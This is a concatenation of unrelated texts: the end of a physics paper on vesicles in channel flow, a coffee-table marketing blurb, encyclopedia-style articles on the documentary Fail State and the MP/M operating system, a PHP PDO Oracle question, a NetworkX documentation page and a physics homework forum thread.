when approaching the TT-to-TU transition.
The most relevant effect due to thermal noise of the fluid is that the vesicle is not located
at the center of the channel, but wanders across it
due to fluctuation-induced Brownian diffusion
(the possible influence of this
effect on the intrinsic viscosity
was already mentioned in Ref.~\cite{thie13}).
This implies that the vesicle can never move along the centerline of the channel,
which is the state of minimum dissipation when thermal effects are neglected \cite{thie13}.
The amplitude of this lateral motion is quantified
by $\sigma_{cm}$, which grows with increasing
viscosity ratio for the lowest value of the bending rigidity.
Since the vesicle gets closer to the walls,
a larger resistance of the vesicle to the flow might be induced,
similarly to what happens for colloids whose effective diffusion coefficient
reduces close to a wall \cite{bren61}.
This effect would
contribute to the increase of $\langle \eta_I \rangle$ even in the TT regime.
We remark that since it results to be $\sigma_{cm} \propto \sqrt{1/Pe}$, as previously found,
much higher values of the Peclet number are required in order to access a regime
where $\sigma_{cm} \simeq 0$ to ignore thermal fluctuations.
The outlined picture persists
with increasing the bending rigidity $\kappa$,
when
the value of $\langle \eta_I \rangle$ is reduced
but its $\lambda$-dependence is not affected. Similar values
of $\langle \eta_I \rangle$ are observed
for the highest bending rigidity
where the TT-to-TU
transition is sharper and the vesicle
becomes more rigid, as observed in the values of the average
asphericity and of
the rms fluctuations
$\sigma_M$ and $\sigma_m$ which hardly change with $\lambda$.
In the TT regime the effect of increasing the bending rigidity is
to reduce
the average inclination angle $\langle \Theta \rangle$, its variance
$\sigma_{\Theta}$, and
$\sigma_{cm}$
with respect to the case with the lowest bending rigidity, while
the vesicle appears to be less circular.
As a consequence the vesicle has less resistance to the flow, which
explains the reduction of $\langle \eta_I \rangle$
when compared to lower values of $\kappa$.
In the TU regime, the difference in the average asphericity
for the three values of the bending rigidity diminishes, causing accordingly
a reduction in the difference of the average intrinsic viscosities.
To complete our discussion, we note that
it was argued in Ref.~\cite{thie13} that the monotonic behavior of
$\langle \eta_I \rangle$
might be due to measurements done in short transient regimes
but, as here shown, this is not the case.
Moreover,
our results do not depend on the choice either of the channel
length $L_x/R_0=19$
or of the degree of confinement $2R_0/L_y=0.35$, as suggested
in Refs.~\cite{thie13,kaou14}.
Indeed these two values are intermediate between the ones used in those studies
\cite{thie13,kaou14} where the
non-monotonic behavior of the intrinsic viscosity was observed without
thermal fluctuations.
\section{Conclusions}
We believe that the
monotonic growth of $\langle \eta_I \rangle$ has to be related
to the presence of thermal fluctuations missing in other models.
This effect persists up to the highest Peclet number
of about $2 \times 10^3$.
In a simplified stochastic three-dimensional model of vesicles
in shear flow \cite{nogu05} it was shown that thermal fluctuations
cannot be neglected up to $Pe=1.2 \times 10^3$. Much higher values of $Pe$
are required, as previously discussed, in order to ignore
thermal fluctuations.
Finally, we add that the relevance of thermal noise in the
vesicle dynamics was demonstrated also for the VB regime in numerical
\cite{nogu07bis,mess09}, theoretical \cite{abre12,abre13},
and experimental studies \cite{kant06,leva12}.
\vspace{6pt}
\funding{This research received no external funding.}
\dataavailability{Data are available upon reasonable request.}
\acknowledgments{AL wishes to thank G. Gompper for useful discussions and
hospitality at Forschungszentrum J\"{u}lich.
This work was performed under the auspices of GNFM-INdAM.}
\conflictsofinterest{The author declares no conflict of interest.}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 1,851 |
Coffee Table Sets come as the solution for you who want to pick room furniture in a short time. By choosing furniture sets you will save your time to choose the chairs and the table design. You may find it confusing because there are so many beautiful furniture sets design that will create the look in your room. This set will be suitable to be used in living room or dining room because this set can be used to eat even read when you have your breakfast.
Coffee table made in sets comes with variety of design and amount of pieces. The pieces can be adjusted with your need based on amount of the member of your family. If your family is small, having three pieces or four pieces of this set will be enough. However, if you have big family this kind of sets is not suitable to be used in dining room, you could use it in your living room instead.
The size of the coffee table is smaller, that is why this table has a lot of functions and can be put in any part of your house. However, the people who could use this table are more limited. In one table, you could gather only five or six people at maximum. However, you could use this table for more functions. The design of this table is very functional and flexible to be used in any room types.
The types of sets vary depends on the materials used in the sets and the design. If you like to have furniture sets that having natural and elegant look, wooden furniture sets will be your choice. However, if you like to have contemporary and practical furniture, aluminum or metal furniture sets are the best options. When you choose the furniture sets you should mind about the function and the style that you want to have in your room. You could also mind your budget as the consideration to buy new furniture sets.
When you decide to decorate your room with new furniture, you should think about the style and the budget that you have. To buy a new furniture is not cheap moreover if you buy the furniture sets. However, having Coffee Table Sets will be very functional. On the other side, it provides you with function to make your room more beautiful and comfortable to use by your family. | {
"redpajama_set_name": "RedPajamaC4"
} | 9,598 |
Fail State is a 2017 feature-length documentary film chronicling the public policy decisions and marketing ploys that contributed to the growth of predatory for-profit colleges in the 2000s.
Executive produced by Dan Rather and directed by Alexander Shebanow, the film was broadcast on STARZ, and was screened at events across the U.S. The film marks Shebanow's directorial debut.
Synopsis
The documentary examines how the changing economics of higher education contributed to mistreatment of low-income and minority students and includes interviews with experts, former college recruiters, former and current students, and former and current government officials such as F. King Alexander and Suzanne Mettler. It traces the problem back to a decision by Congress in the 1970s to switch from providing aid to colleges to instead allocating grants and loans to students to pay tuition at colleges. The move contributed to a market-based system that offered choice but also rewarded recruiting schemes targeting vulnerable populations.
Internal industry documents featured in Fail State reveal that for-profit schools specifically sought to recruit "isolated" individuals with "low self-esteem." While the film features liberal lawmakers like Rep. Maxine Waters and Senator Tom Harkin who sought to prevent the harms, it points out that in an earlier era it was conservatives in the Reagan administration who sounded the alarm about abuses by for-profit schools.
Production
Shebanow initially began filming Fail State as a documentary about student loan debt but the collapse of Corinthian Colleges shifted his focus to the way that federal aid had fueled the growth of predatory schools, while investment in public higher education declined.
Release
Fail State had its world premiere at the Austin Film Festival on October 28, 2017 and was screened at several other film festivals. At one screening a veteran who had used the GI Bill to attend a for-profit school described how he was convinced to attend, earned a degree that did not pay off, and ended up with student loan debts that he had difficulty repaying.
It later aired on the STARZ network.
Reception
Fail State received reviews from outlets such as the Los Angeles Times, which stated that the film offers an "easily digestible account" of an "appalling, infuriating story," Multiple outlets noted that the documentary would provoke emotions in the viewer, with The Hollywood Reporter calling it a "dispiriting look at the way young Americans have been failed not just by sham schools but by the lawmakers who help those businesses thrive". Other elements frequently praised include the documentary's pacing and balance. The Wall Street Journal noted that Fail State "is quite egalitarian in meting out blame" for the abuses, naming both Republican and Democratic lawmakers who abetted the scams by relaxing consumer protections that had been enacted in response to earlier scandals.
References
External links
The Faces of the For-Profit College Crisis
2017 documentary films
American documentary films
Documentary films about higher education
2017 directorial debut films
2017 films
2010s English-language films
2010s American films | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 9,591 |
Het kabinet-Marlin-Romeo I was van 15 januari 2018 tot 25 juni 2018 een interim-kabinet van het land Sint Maarten onder leiding van Leona Marlin-Romeo. Het was een samenwerking van de Democratische Partij, de United People's Party (UP) en het onafhankelijk statenlid Chanel Brownbill.
Formatie
Nadat het demissionaire kabinet onder leiding van William Marlin op 10 november 2017 een tweede motie van wantrouwen aan de broek kreeg, weigerde Marlin initieel om direct op te stappen. Pas na een aanwijzing aan gouverneur Eugene Holiday door de Raad van Ministers van het Koninkrijk, verleende deze 24 november 2017 ontslag aan William Marlin, werd viceminister-president Rafael Boasman tijdelijk minister-president, en werd de mogelijkheid van een interim-kabinet onderzocht. Dit kabinet zou normaal gesproken tot de nieuwe Statenverkiezingen van februari 2018 het land moeten leiden. De vorming van dit kabinet liep enige vertraging op toen de eerste formateur en beoogd minister-president, Franklin Meyers, niet door de screening voor bewindspersonen heen kwam. Meyers besloot toen zijn mandaat om het kabinet te formeren terug te geven aan de gouverneur. Vervolgens werd Sarah Wescot-Williams als formateur aangesteld, zij zorgde ervoor dat Marlin-Romeo uiteindelijk als minister-president werd aangewezen. Op 15 januari 2018 werd het kabinet beëdigd. Op 25 juni 2018 werd het kabinet vervolgens opgevolgd door het kabinet-Marlin-Romeo II .
Samenstelling
Op Ferrier en Gitterson na zijn alle ministers lid van de nieuw opgerichte partij 'Verenigde Democraten' (VD). De VD is een fusie van de Democratische Partij Sint Maarten en de Verenigde Volkspartij (United People's Party).
Kabinet van Sint Maarten | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 3,053 |
{"url":"https:\/\/networkx.org\/documentation\/networkx-2.3\/reference\/algorithms\/generated\/networkx.algorithms.cuts.volume.html","text":"Warning\n\nThis documents an unmaintained version of NetworkX. Please upgrade to a maintained version and see the current NetworkX documentation.\n\n# networkx.algorithms.cuts.volume\u00b6\n\nvolume(G, S, weight=None)[source]\n\nReturns the volume of a set of nodes.\n\nThe volume of a set S is the sum of the (out-)degrees of nodes in S (taking into account parallel edges in multigraphs). [1]\n\nParameters: G (NetworkX graph) S (sequence) \u2013 A sequence of nodes in G. weight (object) \u2013 Edge attribute key to use as weight. If not specified, edges have weight one. The volume of the set of nodes represented by S in the graph G. number\n\nReferences\n\n [1] David Gleich. Hierarchical Directed Spectral Graph Partitioning.","date":"2022-08-09 07:49:09","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.40906384587287903, \"perplexity\": 3157.124002723046}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882570913.16\/warc\/CC-MAIN-20220809064307-20220809094307-00072.warc.gz\"}"} | null | null |
\section{Introduction}
In the Standard Model, the flavor-changing neutral current
process $b\to X_s l^+ l^-$ only occurs at the one-loop level
and is therefore sensitive to new physics. In the kinematical
region where the lepton invariant mass squared $q^2$ is far
away from the $c\bar{c}$-resonances, the dilepton invariant
mass spectrum and the forward-backward asymmetry can be
precisely predicted using large $m_b$ expansion, where the leading
term is given by the partonic matrix element of the effective
Hamiltonian
\begin{equation}
\mathcal{H}_{eff} = -\frac{4 G_F}{\sqrt{2}} V_{ts}^* V_{tb} \sum\limits_{i=1}^{10} C_i(\mu) O_i (\mu).
\end{equation}
We neglect the CKM combination $V_{us}^* V_{ub}$ and the operator
basis is defined as in \cite{Bobeth:1999mk}.
In \cite{ours} we published the first analytic NNLL calculation of the
high $q^2$ region of the matrix elements of the operators
\begin{equation} \label{oper}
O_1 = (\bar{s}_L \gamma_\mu T^a c_L) (\bar{c}_L \gamma^\mu T^a b_L),\qquad
O_2 = (\bar{s}_L \gamma_\mu c_L) (\bar{c}_L \gamma^\mu b_L) \, ,
\end{equation}
which dominate the NNLL amplitude numerically.
Earlier these results were only available analytically in the region of low $q^2$
\cite{Asatryan:2001zw,Asatryan:2002iy}.
Using equations of motion the NNLL matrix elements of the effective
operators take the form
\begin{equation}
\langle s\ell^+\ell^-|O_i|b\rangle_\text{2-loops} =
-\left(\frac{\alpha_s}{4\pi}\right)^2
\left[
F_i^{(7)}\langle O_7\rangle_\text{tree}+
F_i^{(9)}\langle O_9\rangle_\text{tree}
\right],
\label{formfact}
\end{equation}
where $O_7=e/g_s^2 m_b (\bar{s}_{L} \sigma^{\mu\nu} b_{R})F_{\mu\nu}$
and $O_9 = e^2/g_s^2 (\bar{s}_L\gamma_{\mu} b_L)\sum_l(\bar{l}\gamma^{\mu}l)$.
\section{Calculations}
\begin{figure}[hb]
\centerline{\includegraphics[width=\textwidth]{Figures/diagrams}}
\caption{Diagrams that have to be taken into account
at order $\alpha_s$. The circle-crosses denote the possible
locations where the virtual photon is emitted (see text).}
\label{f1}
\end{figure}
The diagrams contributing at order $\alpha_s$ are shown in Figure \ref{f1}. We set $m_s=0$ and define
\begin{equation}
\hat{s}=\frac{q^2}{m_b^2} \quad \mbox{and} \quad z=\frac{m_c^2}{m_b^2},
\end{equation}
where $q$ is the momentum of the virtual photon.
After reducing occurring tensor-like Feynman integrals \cite{Passarino:1978jh} the remaining scalar integrals can be further reduced to master integrals using integration by parts (IBP) identities \cite{CT}.
Considering the region $\hat{s}>4z$, we expanded the master
integrals in $z$ and kept the full analytic dependence in $\hat{s}$.
For power expanding Feynman integrals we use a combination of
\emph{method of regions}
\cite{BGSS}
and \emph{differential equation techniques}
\cite{BKPPR,Pilipp:2008ef}:
Consider a set of Feynman integrals $I_1,\ldots,I_n$ depending on
the expansion parameter $z$ and related
by a system of differential equations obtained by differentiating $I_\alpha$ with respect to $z$ and applying IBP identities:
\begin{equation}
\frac{d}{dz}I_\alpha = \sum_\beta h_{\alpha\beta} I_\beta + g_\alpha,
\label{mi1}
\end{equation}
where $g_\alpha$ contains simpler integrals which pose no serious problems.
Expanding both sides of (\ref{mi1}) in $\epsilon$, $z$ and $\ln z$
\begin{equation}
I_\alpha = \sum_{i,j,k} I_{\alpha,i}^{(j,k)}
\epsilon^i z^j (\ln z)^k,\qquad
h_{\alpha\beta}=\sum_{i,j} h_{\alpha\beta,i}^{(j)}
\epsilon^iz^j,\qquad
g_\alpha=\sum_{i,j,k} g_{\alpha,i}^{(j,k)}
\epsilon^iz^j(\ln z)^k,
\label{mi2}
\end{equation}
and inserting (\ref{mi2}) into (\ref{mi1}) we obtain algebraic
equations for the coefficients $I_{\alpha,i}^{(j,k)}$
\begin{equation}
0=
(j+1)I_{\alpha,i}^{(j+1,k)}+(k+1)I_{\alpha,i}^{(j+1,k+1)}-
\sum_{\beta}\sum_{i^\prime}\sum_{j^\prime}
h_{\alpha\beta,i^\prime}^{(j^\prime)}
I_{\beta,i-i^\prime}^{(j-j^\prime,k)}
-g_{\alpha,i}^{(j,k)}.
\label{mi3}
\end{equation}
This enables us to recursively calculate higher powers of $z$ once the leading powers are known. In practice this means that we need the
$I_{\alpha,i}^{(0,0)}$ and sometimes also the $I_{\alpha,i}^{(1,0)}$
as initial condition to (\ref{mi3}). These initial conditions can be computed using method of regions.
A non trivial check is provided by the fact that the leading terms containing logarithms of $z$ can be calculated by both
method of regions and the recurrence relation (\ref{mi3}).
The summation index $j$ in (\ref{mi2}) can take integer or
half-integer values, depending on the specific set of integrals $I_\alpha$.
In order to determine the possible powers of $z$ and $\ln(z)$ we used
the algorithm described in \cite{Pilipp:2008ef}. A given
$D$-dimensional $L$-loop Feynman
integral $I(z)$ reads in Feynman parameterization
\begin{equation}
I(z)=(-1)^N\left(\frac{i}{(4\pi)^{D/2}}\right)^L
\Gamma(N-LD/2)\int d^Nx\,\delta(1-\sum_{n=1}^N x_n)
\frac{U^{N-(L+1)D/2}}{(zF_1+F_2)^{N-LD/2}},
\label{1.2}
\end{equation}
where $U$, $F_1$ and $F_2$ are polynomials in $x_n$.
Using Mellin-Barnes representation
(\ref{1.2}) can be cast into the following form
\begin{equation}
\begin{split}
I(z) = \,&(-1)^N\left(\frac{i}{(4\pi)^{D/2}}\right)^L
\frac{1}{2\pi i}\int_{-i\infty}^{i\infty}ds\,
z^s
\Gamma(-s)\Gamma(s+N-LD/2)\\
\,&\times\int d^Nx\,\delta(1-\sum_{n=1}^N x_n)
U^{N-(L+1)D/2}F_1^sF_2^{-s-N+LD/2}.
\end{split}
\label{1.4}
\end{equation}
By closing the integration contour over $s$ to the right hand side the
poles on the positive real axis turn into powers of $z$. If we apply
the technique of \emph{sector decomposition} \cite{Binoth:2000ps} to
(\ref{1.4}) we end up with terms of the following form
\begin{equation}
\sum_{l=1}^N\sum_k \int_0^1 d^{N-1}t\left(
\prod_{j=1}^{N-1}t_j^{A_j-B_j\epsilon-C_js}\right)
U_{lk}^{N-(L+1)D/2}F_{1,lk}^sF_{2,lk}^{-s-N+LD/2},
\label{1.6}
\end{equation}
where $U_{lk}$, $F_{1,lk}$ and $F_{2,lk}$ contain terms that are
constant in $\vec{t}$.
From (\ref{1.6}) we can read off that the poles in $s$ are located at:
\begin{equation}
s_{jn}=\frac{1+n+A_j-B_j\epsilon}{C_j},
\label{1.7}
\end{equation}
where $n\in \mathbb{N}_0$.
Additionally, the procedure described above
allows us to evaluate the coefficients of the expansion in $z$
numerically which we used to again test the initial conditions of the
differential equations.
\section{Results}
\begin{figure}
\begin{tabular}{l@{\hspace{-0.1cm}}l}
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F17re}
}
&
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F17im}
}
\\[-0.1cm]
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F19re}
}
&
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F19im}
}
\\[-0.1cm]
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F27re}
}
&
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F27im}
}
\\[-0.1cm]
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F29re}
}
&
\resizebox{0.52\textwidth}{!}
{
\input{Figures/F29im}
}
\end{tabular}
\caption{Real and imaginary parts of the form factors
$F_{1,2}^{(7,9)}$ as functions of
$\hat{s}$. To demonstrate the convergence of the expansion in $z$ we
included all orders up to $z^6$, $z^8$ and
$z^{10}$ in the dotted, dashed and solid lines respectively.
We put $\mu=m_b$ and used the default value $z=0.1$.}
\label{ff}
\end{figure}
In order to get accurate results we keep terms up to $z^{10}$. Our
results agree with the previous numerical calculation
\cite{Ghinculov:2003qd} within less than $1\%$ difference.
To demonstrate the convergence of the power expansions,
we show in Figure~\ref{ff} the form factors defined in
(\ref{formfact}) as functions of $\hat{s}$,
where we include all orders up to $z^6$, $z^8$ and $z^{10}$. We use as
default value $z = 0.1$ such that the $c\bar{c}$-threshold is located at
$\hat{s} = 0.4$. One sees from the figures that far away from the
$c\bar{c}$-threshold, i.e.\ for
$\hat{s} > 0.6$, the expansions for all form factors are well behaved.
The impact of our
results on the perturbative part of the high $q^2$-spectrum
\cite{Asatryan:2001zw}
\begin{equation}
R(\hat{s})=\frac{1}{\Gamma(\bar{B}\to X_c e^- \bar{\nu}_e)}
\frac{d\Gamma(\bar{B}\to X_s\ell^+\ell^-)}{d\hat{s}}
\label{r1}
\end{equation}
is shown in Figure \ref{f2} (left), where we used the same parameters as in \cite{ours}.
The finite bremsstrahlung corrections calculated in
\cite{Asatryan:2002iy} are neglected.
From Figure \ref{f2} (left) we conclude that for $\mu=m_b$ the contributions of our results
lead to corrections of the order $10\% - 15\%$.
\begin{figure}
\begin{minipage}[b]{0.5\linewidth}
\resizebox{\textwidth}{!}{\input{Figures/pilipp.fig2}}
\end{minipage}
\begin{minipage}[b]{0.5\linewidth}
\resizebox{\textwidth}{!}{\input{Figures/pilipp.fig3}}
\end{minipage}
\caption{Perturbative part of
$R(\hat{s})$ (left) and $R_\text{high}$ (right) at NNLL. The solid lines represents the NNLL
result, whereas in the dotted lines the order $\alpha_s$ corrections
to the matrix elements associated with $O_{1,2}$ are switched off.
In the left figure we use $\mu=m_b$. See text for details.}\label{f2}
\end{figure}
Integrating $R(\hat{s})$ over the high $\hat{s}$ region, we define
\begin{equation}
R_\text{high}=\int_{0.6}^1 d\hat{s}\, R(\hat{s}).
\end{equation}
Figure \ref{f2} (right) shows the dependence of the perturbative part of
$R_\text{high}$ on the
renormalization scale.
We obtain
\begin{equation}
R_\text{high,pert}=(0.43\pm0.01(\mu))\times 10^{-5},
\end{equation}
where we determined the error by varying $\mu$ between 2 GeV and
10 GeV. The
corrections due to our results lead to a decrease of the scale dependence to $2\%$.
\acknowledgments
This work is partially
supported by the Swiss National Foundation, by EC-Contract
MRTNCT-2006-035482 (FLAVIAnet) and by the Helmholtz Association through
funds provided to the virtual institute ''Spin and strong QCD''
(VH-VI-231).
The Albert Einstein Center for Fundamental Physics is supported by the
''Innovations- und Kooperationsprojekt C-13 of the Schweizerische
Universit\"atskonferenz SUK/CRUS''.
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 7,499 |
Focus points for the Computational Complexity and Game Theory group
The mathematical computer science group works at the intersection between mathematics and computer science, focusing on applications of mathematics to computer science (a.k.a., the mathematical foundations of the theory of computing) as well as on applications of computer science to mathematics (a.k.a., computational mathematics).
The research focuses in particular on computational complexity theory and applications of algebra to that field, on algorithmic mechanism design, on mathematical programming, and on computational game theory and application of real algebraic geometry to that field.
Members of the Computational Complexity and Game Theory Group at Department of Computer Science, Aarhus University, December 2021
If you are interested in joining our group, as master's thesis student, PhD student, or postdoc, feel free to contact the faculty members.
For more general questions about PhD studies at Department of Computer Science, please see our website of contact PhD Committee chairman Anders Møller.
Master's thesis progress
How to start up your Master's thesis, see here
Ioannis Caragiannis
M iannis@cs.au.dk
Kristoffer Arnsfelt Hansen
M arnsfelt@cs.au.dk
H 5335, 213
Srikanth Srinivasan
M srikanth@cs.au.dk
Center for the Theory of Interactive Computation (CTIC)
UD AF BOKSEN: Den randomiserede simplexalgoritme from Science Media Lab on Vimeo. | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 7,798 |
MP/M (Multi-Programming Monitor Control Program) is a discontinued multi-user version of the CP/M operating system, created by Digital Research developer Tom Rolander in 1979. It allowed multiple users to connect to a single computer, each using a separate terminal.
MP/M was a fairly advanced operating system for its era, at least on microcomputers. It included a priority-scheduled multitasking kernel (before such a name was used, the kernel was referred to as the nucleus) with memory protection, concurrent input/output (XIOS) and support for spooling and queueing. It also allowed for each user to run multiple programs, and switch between them.
MP/M platforms
MP/M-80
The 8-bit system required a 8080 (or Z80) CPU and a minimum of 32 KB of RAM to run, but this left little memory for user applications. In order to support reasonable setups, MP/M allowed for memory to be switched in and out of the machine's "real memory" area. So for instance a program might be loaded into a "bank" of RAM that was not addressable by the CPU, and when it was time for the program to run that bank of RAM would be "switched" to appear in low memory (typically the lower 32 or 48 KB) and thus become visible to the OS. This technique, known as bank switching was subsequently added to the single user version of CP/M with version 3.0.
One of the primary uses of MP/M, perhaps to the surprise of DRI, was as a "power user" version of CP/M for a single user. The ability to run several programs at the same time and address large amounts of memory made the system worth the extra price.
MP/M II 2.0 added file sharing capabilities in 1981, MP/M II 2.1 came with extended file locking in January 1982.
Versions:
MP/M 1.0 (1979)
MP/M 1.1 (January 1980)
MP/M II 2.0 (July 1981, added: file sharing)
MP/M II 2.1 (January 1982, added: extended file locking)
MP/M-86
Like CP/M, MP/M was eventually ported to the 16-bit Intel 8086, and appeared as MP/M-86 2.0 in September 1981. Main developers of the system include Francis "Frank" R. Holsworth, later a director of marketing at Digital Research. Known revisions of MP/M-86 2.0 were dated 25 September 1981 and 5 October 1981. There also was an MP/M-86 2.1 dated 20 July 1982.
MP/M-86 2.1 absorbed some of the technology of CP/M-86 1.1 (BDOS 2.2) to become Concurrent CP/M-86 3.0 (BDOS 3.0) in late 1982, which also added support for "virtual screens". Kathryn Strutynski, the project manager for CP/M-86, continued as project manager for Concurrent CP/M-86. In December 1983, a DOS emulator named PC-MODE became available as an optional module for Concurrent CP/M-86 3.1 (BDOS 3.1), shipping on 21 February 1984, and the system was further developed into the MS-DOS compatible Concurrent DOS (BDOS 3.1 and higher). This in turn continued to evolve into FlexOS and Multiuser DOS and as such is still in use in some industrial applications.
MP/M 8-16
MP/M 8-16 (sometimes also referred to as MP/M-8/16) was CompuPro's name for a combination of the multi-user 16-bit MP/M-86 to perform single-user, single-stream CP/M functions, along with multi-user, multi-tasking 8-bit MP/M operations running on the multi-processor . Later on, this system was also able to run Concurrent DOS 3.1.
MP/M-286
In 1982, Digital Research announced plans to develop MP/M-286 to take advantage of the 16-bit Intel 80286's new memory management and protection features to run existing MP/M-86 and CP/M-86 applications. This was apparently never published "as is", but was further developed into Concurrent CP/M-286, which seems to have formed the basis for the later Concurrent DOS 286 in 1985 and FlexOS 286 in 1986.
Commands
The following list of commands are supported by the MP/M II Console Command Processor CCP:
ABORT
ATTACH
ASM
CONSOLE
DDT
DIR
DSKRESET
DUMP
ED
ERA
ERAQ
GENHEX
GENMOD
GENSYS
LIB
LINK
LOAD
MPMLDR
MPMSTAT
PIP
PRINTER
PRLCOM
RDT
REN
RMAC
SCHED
SDIR
SET
SHOW
SPOOL
STAT
STOPSPL
SUBMIT
TOD
TYPE
USER
XREF
CP/NET, CP/NOS, MP/NET and MP/NOS
In the early 1980s Digital Research also developed networking software named CP/NET used to connect an MP/M server with multiple CP/NET clients (named requesters) running CP/M. It was originally developed by Tom Rolander.
MP/NET was an MP/M system with networking allowing the MP/M system to function as both requester and server with CP/M requesters.
The CP/NET clients could also be run in a diskless configuration with the system stored in ROM, then named CP/NOS (with NOS for Network Operating System). Similar, MP/NOS contained MP/M without local disk facilities. Like CP/NOS, MP/NOS performed the disk functions through the network.
The system allowed to share files and printers and send electronic messages.
NIOS – Network I/O System
SNIOS – Slave Network I/O System
NDOS – Network Disk Operating System
CP/NET existed in versions 1.0, 1.1 and 1.2 in versions for 8080 and Z80 processors. CP/NET-86 for 8086 was available as well.
Later incarnations were DR Net and FlexNet.
Legacy
Caldera permitted the redistribution and modification of all original Digital Research files, including source code, related to the CP/M and MP/M families through Tim Olmstead's "The Unofficial CP/M Web site" since 1997. After Olmstead's death on 12 September 2001, the free distribution license was refreshed and expanded by Lineo, who had meanwhile become the owner of those Digital Research assets, on 19 October 2001.
Notes
References
CP/M variants
Microcomputer software
Formerly proprietary software
Disk operating systems
Digital Research operating systems
Discontinued operating systems
Floppy disk-based operating systems
Free software operating systems
1979 software | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 1,631 |
Q: PDO simple select query using oracle database i want to try to run simple select query to know if the database connection is working fully.
Here is some coding i have done on php file and tried to execute it.
$tns = "
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = COD3R-PC)(PORT = 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = XE)
)
)
";
try {
$conn = new PDO("oci:dbname=".$tns, '****', '****');
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
echo 'Connected to database';
} catch(PDOException $e) {
echo 'ERROR: ' . $e->getMessage();
}
/*if($_POST['searchFilter']){
$searchFilter = $_POST['searchFilter'];
$stmt = $conn->prepare("SELECT ROOM, GUEST_NAME FROM RESERVATION_GENERAL_2 WHERE ROOM LIKE ? OR GUEST_NAME LIKE ?");
$stmt->execute(array('%'.$searchFilter.'%','%'.$searchFilter.'%' ));
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
$stmt->closeCursor();
if (empty($results)){
print_r(json_encode(0));
}
else{
print_r(json_encode($results));
}
}*/
$stmt = $conn->prepare("SELECT * FROM RESERVATION_GENERAL_2");
$stmt->execute(array($stmt));
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
$stmt->closeCursor();
The only message i got is Connected to database.
I am not sure if it is really connected to database or not, cuz i dont know about try and catch much.
and after that there is a blank page no result.
Please see the screenshot for the table name and columns.
what am i doing wrong please tell.
A: Change this line:
$stmt->execute(array($stmt));
To:
$stmt->execute();
You don't have any parameters to execute, in the scenario below it would work:
$stmt = $conn->prepare("SELECT * FROM RESERVATION_GENERAL_2 WHERE reservation_id = ?");
$stmt->execute(array($id));
| {
"redpajama_set_name": "RedPajamaStackExchange"
} | 1,479 |
{"url":"https:\/\/www.physicsforums.com\/threads\/ball-rolling-down-slope-with-wedge-shaped-groove.744776\/","text":"# Homework Help: Ball rolling down slope (with wedge-shaped groove)\n\n1. Mar 23, 2014\n\n### BenjyPhysics\n\n1. The problem statement, all variables and given\/known data[\/b]\n\nThe question is B7 here: http:\/\/www-teach.phy.cam.ac.uk\/dms\/dms_getFile.php?node=7787\n\nI managed to derive the acceleration required in the first part, but the second part is giving me trouble.\n\n2. Relevant equations\n\n3. The attempt at a solution\n\nI have calculated the moment of inertia of the ball about the axis it is instantaneously rotating around (I don't quite know what is meant by an 'instantaneous axis' - but anyway), I arrived at...\n\n$${I_{AB}} = \\frac{2}{5}m{a^2} + m{a^2}{\\sin ^2}(\\frac{1}{2}\\phi ) = m{a^2}(\\frac{2}{5} + {\\sin ^2}(\\frac{1}{2}\\phi ))$$\n1. The problem statement, all variables and given\/known data\n\nNow, I have an equation for the linear motion of the centre of mass of the ball, and it is... $$mg\\sin \\theta - 2F = m\\frac{{dv}}{{dt}}$$ where F is the frictional force acting in the direction of the slope, providing the moment (two points of contact so I wrote it as 2F)\n\nThe rotational motion is confusing me, I tried to write...\n\n$$G = I\\frac{{d\\omega }}{{dt}} = \\frac{I}{a}\\frac{{dv}}{{dt}} = ma(\\frac{2}{5} + {\\sin ^2}(\\frac{1}{2}\\phi ))\\frac{{dv}}{{dt}}$$\n\nbut how do I find G, the total external moment, and which axis do I take the moment about - (because if I were to take the moment about AB I'd have cos terms in my result)? Which I am guessing is supplied by the two frictional forces? Am I thinking about this all wrong?\n\n2. Mar 23, 2014\n\n### BvU\n\nHello Benjy and welcome to PF.\nNice word, invigilator (my first language isn't english).\nPF guidelines don't like it if you skip over 1 by posting a big fat pdf and also don't like skipping the relevant equations, but you can make up for that in your next post(s)...\n\nCompliments for the $\\TeX$ use. Looks neat!.\n\nInstantaneous axis is the line between stationary points. Simple, isn't it?\nStationary points are useful because they help you connect linear motion to rotation.\n\nYour $\\omega$ doesn't look quite right to me. Can you explain how it comes about ?\n\nI also don't understand why G should have a cos term if your I doesn't have that either...\n\n3. Mar 23, 2014\n\n### BenjyPhysics\n\nI found omega like so $$v = a\\omega \\Rightarrow 